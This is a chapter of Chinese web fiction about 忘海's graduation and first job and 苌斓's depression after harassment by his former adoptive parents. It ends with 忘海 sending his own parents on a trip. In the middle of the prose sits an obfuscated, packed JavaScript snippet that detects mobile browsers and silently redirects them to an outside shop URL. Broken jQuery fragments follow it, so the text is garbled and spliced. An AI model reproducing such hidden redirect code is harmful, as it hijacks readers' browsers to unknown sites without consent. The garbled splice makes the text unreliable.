几年后，忘海从A大毕业。毕业典礼那天，他穿着学士服站在图书馆前的台阶上，梧桐大道的树荫比他们高中那条更宽，阳光从枝叶间漏下来落在他肩头。他比高中时高了一些，鼻梁上多了一副细框眼镜，但那双眼睛还是浅冰蓝色的，安静、温和，沉得像一片望不到底的海。这四年里他拿了三年国家奖学金，毕业设计被评优推荐到全国参展。导师挽留他读研，他说要先工作。工作单位在毕业前就定下来了——本市最好的设计院，专业对口，起薪优厚。他把录用通知书复印了两份，一份贴在养父母家的冰箱上，一份寄给了苌斓。养母把通知书摸了又摸，说这纸真厚，一看就是好单位。养父戴上老花镜从头到尾一字不落地读了一遍，什么也没说，只是把通知书小心地收进抽屉里，和他自己当年的工程师证放在一起。
苌斓没有去外地。他在离忘海家几站路的地方租了一间小公寓，一室一厅，朝南，拉开窗帘能看到一整排梧桐树。他在一家书店工作，每天整理书架、登记新书、给来店里的孩子推荐绘本。他比高中时更安静了，笑起来的时候眼睛弯成两道浅浅的弧线。周末他会带着自己烤的红枣桂圆蛋糕去忘海家，养母每次都嫌他带东西太客气，然后把蛋糕切得整整齐齐，一人一块，多出来的那块永远放在苌斓盘子里。
但养父母仍然没有放过他。电话拉黑了就换号码发短信，短信不回就在书店门口等他下班。养母站在梧桐树下，和很多年前一样，影子被路灯拉得又长又瘦，用那种苌斓听了十几年的平静语调说——你什么时候回家，你的房间还给你留着，你亲爹亲妈早就死了，你只有我们了。有时候她会寄东西到书店，一包红枣，一双旧袜子，一张他小时候蜷在角落里的老照片，照片背面写着“你忘了是谁把你养大的”。苌斓没有回复过，但他会把照片收进抽屉里，和那枚戒指、那张拼好的购物小票、那五张便签放在一起。每次打开抽屉时，他都觉得自己在用透明胶带重新拼一张被撕碎的纸，裂缝永远不会消失，但他可以不让它碎得更厉害。
但他的状态在变差。先是失眠，闭上眼睛就是养母站在路灯下的影子。然后是食欲减退，蛋糕烤好了放在桌上放到凉透也吃不完一块。再后来是情绪失控——有一次忘海来看他，他正在厨房里洗碗，水龙头哗哗地响。忘海叫了他一声，他没有反应，又叫了一声，他猛地把手里的碗砸在水槽里，碎瓷片飞溅出来划过他的手腕。他低头看着那道细细的血痕，怔了很久，然后蹲下去捡碎片，一边捡一边说对不起对不起，声音抖得不成样子。
忘海蹲下来，握住他还在流血的手腕，把碎片从他掌心里一片一片拿掉。他的手很稳，和高中时坐在布沙发上缝袖口时一样，但握着他手腕的指节比任何时候都用力。他说不是你的错，你只是生病了。明天我陪你去医院。
医生诊断的结果是抑郁症伴焦虑状态，建议长期服药，定期复查。忘海把医嘱一条一条记在备忘录里，把药盒分装成早中晚三格，每天定时发消息提醒他吃药。周末的时候他带苌斓去公园散步，两人并肩走在梧桐树下，和以前去学校时一模一样，只是这一次忘海手里没有保温杯，只牵着他的手。公园里有老人在打太极，小孩在学骑车，阳光落在长椅上。他侧头看着忘海，说我觉得自己像一张被撕碎又拼好的纸，每一道裂缝都还在，但你用透明胶带把它们都粘住了。
忘海握紧他的手。不是粘住，是让你知道裂缝也可以透光。你不需要变成完整的人，你这样就很好。
忘海毕业后的第一个秋天，用第一个月的工资给养父母报了一个旅行团。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724398|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
养母在电话里推辞了半天，说你刚工作花这个钱干什么。他说，妈，我想带你们去看看外面的世界。你们这辈子都在为我操心，现在该轮到我带你们了。电话那头安静了很长时间，然后养母说，好，我跟你爸说，让他把行李收拾好。她把旅行团的行程单打印出来放在茶几上，每天看一遍，数着日子，又给苌斓打电话，说忘海给我们报的团，这孩子，刚上班就乱花钱。语气里全是藏不住的骄傲。
出发那天忘海和苌斓一起去机场送行。养母穿着新买的运动鞋，背着一个鼓鼓囊囊的旅行包。过安检之前她回过头来看了他们一眼，用她一贯轻描淡写的语气说了一句：“等我回来给你们带特产。”忘海点头说好。她转身走进安检通道，养父跟在她身后，背微微有些佝偻，但在过闸口时回头对忘海笑了一下，挥了挥手。
飞机起飞的那天晚上，忘海坐在养父母家的客厅里，茶几上还放着他们临走前没喝完的半壶茶。苌斓端着刚煮好的奶茶从厨房出来——按父亲的配方，红茶煮牛奶，放红枣和桂圆，忘海的那杯少放糖。他把杯子放在忘海面前的杯垫上，杯底磕出一声轻响。他说，你对你爸妈真好。
忘海端起奶茶喝了一口。我爸我妈。也是你爸妈。户口本上你的名字就在我下面，爸妈的旅行团是我报的，但特产是给你带的。他说完低头继续喝奶茶，语气平静得像在说今天的天气。苌斓没有说话，只是把杯子捧在手心里，过了很久才极轻极轻地应了一声。窗外梧桐树的叶子开始落了，一片一片，在路灯的光圈里打着旋。明天早上不用去路口等任何人——他们住在同一个家里，两间并排的卧室，两床同款不同色的被套。保温杯还是两个，一个深蓝一个浅蓝，并排放在茶几上，杯盖上的磕痕还在。红枣茶，八颗红枣，和每一天一样。